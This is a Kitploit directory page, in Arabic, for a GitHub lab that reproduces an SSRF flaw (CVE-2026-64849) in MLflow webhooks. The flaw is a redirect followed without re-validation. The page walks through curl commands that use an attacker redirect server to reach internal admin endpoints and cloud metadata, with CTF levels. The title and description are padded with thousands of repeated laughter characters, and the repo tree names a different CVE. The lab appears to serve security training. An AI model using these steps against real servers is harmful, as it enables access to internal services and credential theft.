Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-64849-poc-lab — هذا المختبر قد يكون جيدًا أو سيئًا، اسأل الذكاء الاصطناعي، أنا أختبره لكن يجب أن يعمل هههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههه | Kitploit
أدوات/GitHubGitHub/isaca0315/cve-2026-64849-poc-lab
تحليل الثغرات الأمنيةالاستغلالأمن الويبCTFاختبار الاختراقالتعلم والتعليممختبرات وتدريب عملي
GitHubisaca0315/cve-2026-64849-poc-lab

CVE-2026-64849-poc-lab

عرض المستودع
منذ 9س 32دلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →

حول

هذا المختبر قد يكون جيدًا أو سيئًا، اسأل الذكاء الاصطناعي، أنا أختبره لكن يجب أن يعمل هههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههه

مشاركة

مختبر الأمن — استغلال SSRF في Webhooks الخاصة بـ MLflow

CVE-2026-64849 · MLflow < 3.15.0 · تزوير الطلبات من جانب الخادم (SSRF)

مختبر عملي لإعادة إنتاج CVE-2026-64849: ثغرة من نوع SSRF في MLflow ناتجة عن خلل TOCTOU (Time-of-Check / Time-of-Use) في معالجة webhooks. يتحقق MLflow من عنوان URL الأصلي للـ webhook ولكنه يتبع عمليات إعادة التوجيه HTTP (302) دون إعادة التحقق من الوجهة، مما يسمح لمهاجم غير مصادق بالوصول إلى خدمات داخلية لا ينبغي أن يكون قادرًا على الوصول إليها (internal-service:8888).

استخدام مقيد: مادة مختبرية، مخصصة فقط للشبكات والبيئات المصرح بها. راجع إخلاء المسؤولية القانونية.


1. الملخص التنفيذي

السمةالقيمة
الثغرةCVE-2026-64849 — SSRF عبر تجاوز إعادة توجيه الـ Webhook
المكوّن المتأثرMLflow Tracking Server (< 3.15.0)
إصدار المختبرMLflow 3.13.0 (بدون تعديل، عبر pip install)
السبب الجذريTOCTOU: يتحقق من عنوان URL، يتبع الـ 302 دون إعادة التحقق
ناقل الهجومHTTP؛ بدون مصادقة
الخطورة المعلنةحرجة (CVSS 9.3) — وفقًا للافتة استغلال المختبر
النتيجةالوصول إلى الخدمات الداخلية، سرقة بيانات الاعتماد، فحص المنافذ
المدة التقديرية15–20 دقيقة
المستوىمتوسط (أمن تطبيقات الويب / الأمن الهجومي)

2. وصف الثغرة

يسمح MLflow بتسجيل webhooks تُطلق طلبات HTTP عند وقوع أحداث (بيانات النماذج، التجارب، إلخ). قبل حفظ عنوان URL، يتم تطبيق تحقق (المخطط، عناوين IP الخاصة، بيانات IP الوصفية). يحدث الخلل للأسباب التالية:

  1. Time-of-Check: يتحقق MLflow من عنوان URL الأصلي للـ webhook ← يمر.
  2. Time-of-Use: أثناء الطلب، إذا كانت الاستجابة 3xx، تتبع مكتبة requests إعادة التوجيه تلقائيًا ولا يعيدون أبدًا التحقق من عنوان URL الوجهة.

يتحكم المهاجم في القفزة الأولى (خادم يستجيب بـ 302 إلى خدمة داخلية) ويعمل MLflow كـ وسيط نحو الشبكة الداخلية.

راجع التحليل الفني الكامل في EXPLOITATION_GUIDE.md §6.


3. أهداف التعلم

عند الانتهاء من المختبر، سيكون الطالب قادرًا على:

  1. تحديد SSRF الناتج عن تتبع عمليات إعادة التوجيه دون إعادة التحقق (TOCTOU).
  2. إعادة إنشاء التدفق الكامل: تسجيل الـ webhook، تشغيل /test، واستخراج الخدمة الداخلية.
  3. التمييز بين التحقق "الظاهري" (Time-of-Check) والاستخدام الفعلي (Time-of-Use).
  4. تنفيذ أشكال مختلفة من الهجوم: استخراج نقاط نهاية أخرى، بيانات وصفية سحابية (IMDS)، SSRF أعمى/فحص المنافذ، مُعيد توجيه عام، وDNS rebinding (نظري).
  5. تطبيق المعالجة: الترقية إلى MLflow ≥ 3.15.0، المصادقة، وضوابط الشبكة.

4. الجمهور المستهدف والمتطلبات الأساسية

الجمهور: طلاب ومحترفو الأمن الهجومي، ومختبرو الاختراق، ومراجعو أمن التطبيقات، والمطورون الذين يستخدمون MLflow.

متطلبات البرمجيات:

الأداةالإصدار الأدنى
Docker + Docker ComposeDocker 20.x / Compose v2
curl—
jq1.6+
bash—

لا تتطلب بيانات اعتماد أو مصادقة في MLflow (الهجوم غير مصادق). لا حاجة للوصول إلى الشبكة الداخلية: يوفرها المختبر.


5. البنية والطوبولوجيا

root@kitploit:~
                 host                                   الشبكة الداخلية لـ Docker (lab_network)
┌──────────────────────────────┐   ┌────────────────────────────────────────────────┐
│  المهاجم (curl / bash)       │   │                                                │
│       │                      │   │   mlflow-vulnerable      attacker_server       │
│       ▼                      │   │   (5000, MLflow 3.13.0)  (8080, يستجيب بـ 302) │
│ http://localhost:5000        │   │        │  عنوان URL للـ webhook    ▲            │
│ http://localhost:8080        │   │        ▼───────────────────────┘                │
│ http://localhost:8888 ✗      │   │        │ 302 Location: internal-service         │
│                              │   │        ▼  (SSRF، يتبع إعادة التوجيه)            │
│                              │   │   internal-service (8888)   ← بدون منافذ مكشوفة │
│                              │   │        "/admin/secret"           للمضيف         │
│                              │   └───────────────────────────────────────────────┘
└──────────────────────────────┘
المكوّنالمنفذالدور في المختبرهل تم تعديله؟
mlflow-vulnerable5000الضحية / العميل الثغري (MLflow 3.13.0 الأصلي)لا
attacker-server8080خادم المهاجم: /webhook ← 302، /redirect?url=، /metadata، لوحة التحكمdo_HEAD فقط
internal-service8888الضحية في lab_network؛ /admin/secret و/api/internal/configلا

تفاصيل السلامة: لم يتم تعديل الخدمة الثغرية والخدمة الداخلية. راجع EXPLOITATION_GUIDE.md §14.


6. البدء السريع (الإعداد + الاستغلال التلقائي)

root@kitploit:~
cd mlflow-ssrf-lab
bash run_lab.sh start      # يشغّل الحاويات الثلاث وينتظر MLflow
bash run_lab.sh exploit    # يستغل تلقائيًا (SSRF ← علم المستوى 1)

عرض توضيحي موجّه خطوة بخطوة (قائمة تفاعلية):

root@kitploit:~
bash manual_exploitation_interactive.sh

🏁 وضع CTF (حل يدوي): المختبر عبارة عن تحدي بمستويات. كل علم يترك لك تلميح المستوى التالي، بحيث يكون الوصول إلى كل flag "منطقيًا". والفكرة هي القيام بذلك يدويًا: ctf_lab.sh لا يستغل نيابة عنك، بل يرشدك فقط ويتحقق من علمك:

root@kitploit:~
bash ctf_lab.sh            # القائمة التفاعلية لـ CTF
bash ctf_lab.sh nivel 1    # تعليمات + تلميح المستوى (أوامر لتنفيذها يدويًا بنفسك)
bash ctf_lab.sh flag '<flag>'   # التحقق من العلم الذي استخرجته وفككت ترميزه (+نقاط)
bash ctf_lab.sh status     # المستويات المكتملة + النقاط (235 نقطة، دون عرض الأعلام)
bash ctf_lab.sh hint 2     # تلميح لمستوى
bash ctf_lab.sh reset      # مسح التقدم

مراجع سكربت run_lab.sh:

root@kitploit:~
bash run_lab.sh start     # start (افتراضي) + نقطة نهاية الحالة
bash run_lab.sh exploit   # تنفيذ exploit.py داخل حاوية mlflow
bash run_lab.sh manual    # عرض أوامر curl خطوة بخطوة
bash run_lab.sh logs      # متابعة السجلات في الوقت الفعلي
bash run_lab.sh stop      # إيقاف الحاويات
bash run_lab.sh clean     # إيقاف وحذف بيانات المختبر

7. إجراء الاستغلال (3 أوامر)

جميع استدعاءات /test تتطلب الترويسة Content-Type: application/json؛ بدونها، يستجيب MLflow 3.13 بـ 400 Bad Request.

root@kitploit:~
# 1. إنشاء webhook يشير إلى خادم المهاجم (يعيد التوجيه إلى جذر البوابة الداخلية، المستوى 1)
WEBHOOK_ID=$(curl -s -X POST http://localhost:5000/api/2.0/mlflow/webhooks \
  -H "Content-Type: application/json" \
  -d '{"name":"ssrf_test","url":"http://attacker_server:8080/webhook","events":[{"entity":"MODEL_VERSION","action":"CREATED"}]}' \
  | jq -r '.webhook.webhook_id')

# 2. تشغيل /test ← يتحقق MLflow من عنوان URL، يتبع الـ 302 إلى الخدمة الداخلية
curl -X POST "http://localhost:5000/api/2.0/mlflow/webhooks/$WEBHOOK_ID/test" \
  -H "Content-Type: application/json" -d '{}'

# 3. استخراج البيانات المسربة (متداخلة في result.response_body)
curl -s -X POST "http://localhost:5000/api/2.0/mlflow/webhooks/$WEBHOOK_ID/test" \
  -H "Content-Type: application/json" -d '{}' \
  | jq -r '.result.response_body | fromjson'

النتيجة المتوقعة من الخطوة 3 (المستوى 1 من CTF):

root@kitploit:~
{
  "service": "internal-admin-portal",
  "banner": "البوابة الإدارية الداخلية — لا يمكن الوصول إليها إلا من الشبكة الداخلية",
  "nivel": 1,
  "flag_enc": "ZmxhZ3tuMV9lbnVtZXJhY2lvbl9zc3JmfQ==",
  "flag_decoding": "echo ZmxhZ3tuMV9lbnVtZXJhY2lvbl9zc3JmfQ== | base64 -d",
  "pista": "تعرض البوابة موارد تحت /admin/ و/api/. ابحث عن بيانات اعتماد المسؤول."
}

يسافر العلم مشفرًا (flag_enc) وتعطيك الاستجابة نفسها الأمر لفك ترميزه (flag_decoding). الهدف هو استخراجه عبر SSRF وفك ترميزه؛ ويقودك pista إلى المستوى 2. التفاصيل خطوة بخطوة، وتحليل الخلل، والمعالجة موجودة في EXPLOITATION_GUIDE.md.


8. وضع CTF — المستويات

المختبر عبارة عن CTF بمستويات تصاعدية: كل علم يترك pista تقود إلى الوجهة التالية، بحيث يكون الوصول إلى كل flag منطقيًا. تُحل جميع المستويات بنفس التقنية الأساسية (SSRF عبر إعادة التوجيه)، مع رفع صعوبة التقنية والاكتشاف.

المستوىالتقنية / الاكتشافالوجهة (SSRF)العلمالنقاط
1إعادة توجيه أساسيةinternal-service:8888/base6410
2تعداد /admin/internal-service:8888/admin/secrethex25
3تعداد /api/internal-service:8888/api/internal/configbase6440
4البيانات الوصفية السحابية (IMDS)internal-service:8888/latest/meta-data/...base64 + rev60
5 (نهائي)SSRF أعمى + اكتشاف خدمة مخفية على المنفذ 8889internal-service:8889/admin/finalXOR + base64100

تسافر الأعلام مشفرة في حقل flag_enc من الاستجابة وتتضمن كل استجابة flag_decoding (الأمر الدقيق لفك ترميزها). العلم الصريح flag{...} لا يظهر في أي سكربت أو مستند: يجب استخراجه عبر SSRF وفك ترميزه (السكربتات التلقائية لا تعرض الأعلام).

قاعدة المختبر: العلم فقط عبر SSRF ناجح (استخراج فعلي لبيانات الخدمة الداخلية عبر إعادة التوجيه). ما ليس SSRF أو غير قابل للتكرار في المختبر لا يمنح علمًا (مثل /metadata المباشر من المهاجم، DNS rebinding، نفق whcli، فحص أعمى دون استخراج).

اللعب: bash ctf_lab.sh (قائمة تفاعلية). الحل اليدوي حسب المستويات في REDTEAM_GUIDE.md (تمرين هجومي أمرًا بأمر) وEXPLOITATION_GUIDE.md (الإجراء الفني الكامل).


9. التصحيحات الفنية المدمجة (سجل التغييرات)

أثناء توحيد المختبر، تم تطبيق التصحيحات التالية، التي تم التحقق منها بالفعل وانعكست في جميع أوامر التوثيق:

#التصحيحالتأثير
1POST /test يرسل الآن Content-Type: application/json (و-d '{}')يزيل 400 Bad Request من MLflow 3.13 وفشل jq: null عند استخراج response_body
2attacker_server.py يدعم طريقة HEAD (do_HEAD)curl -I .../webhook يعيد 302 Found بدلاً من 501 Unsupported method
3استخدام واجهة برمجة التطبيقات الفعلية POST /api/2.0/mlflow/webhooksيتجنب 405 من المسارات غير الموجودة (/webhooks/create)

10. بنية المستودع

root@kitploit:~
CVE-2026-29000-poc-lab/
├── README.md                          ← هذا الملف (فهرس / غلاف المختبر)
├── REDTEAM_GUIDE.md                   ← تمرين يدوي بأسلوب الفريق الأحمر: استطلاع ← فرضية ← استغلال
├── EXPLOITATION_GUIDE.md              ← الإجراء الكامل للمختبر (SSRF، الأشكال المختلفة، السلامة)
├── manual_exploitation_interactive.sh ← عرض تفاعلي خطوة بخطوة (قائمة)
└── mlflow-ssrf-lab/                   ← كود وتنسيق المختبر
    ├── docker-compose.yml             ← 3 حاويات (mlflow، attacker، internal)
    ├── exploit.py                     ← استغلال آلي (يُنفذ داخل الحاوية)
    ├── attacker_server.py             ← خادم المهاجم (302 قابل للتكوين)
    ├── internal_service.py            ← الخدمة الداخلية "المحمية" (بوابة 8888 + خدمة مخفية 8889)
    ├── ctf_lab.sh                     ← دليل CTF اليدوي (تعليمات + تلميحات + مدقق أعلام)
    ├── run_lab.sh                     ← start / exploit / manual / logs / stop / clean
    └── mlflow_data/                   ← البيانات المُنشأة (قاعدة بيانات sqlite، القطع الأثرية)

11. إخلاء المسؤولية القانونية

  • مختبر تعليمي. استغلال الأنظمة دون إذن غير قانوني.
  • تعزل هذه البيئة الهجوم داخل الشبكة الافتراضية lab_network الخاصة بـ Docker؛ ولا تعرض الخدمة الداخلية للمضيف.
  • exploit.py أداة تحقق من المختبر ويُنفذ داخل حاوية MLflow، على الشبكة الداخلية المحاكاة (راجع EXPLOITATION_GUIDE.md §14).
  • توجّه إلى الإفصاح المسؤول لدى المورّد (MLflow/Databricks) إذا وجدت شكلًا مختلفًا في بيئة حقيقية.

12. المراجع

  • MLflow GitHub Issue #24179
  • OWASP Server-Side Request Forgery Prevention Cheat Sheet
  • CWE-918: Server-Side Request Forgery
  • TOCTOU (OWASP)
تنزيل الأداة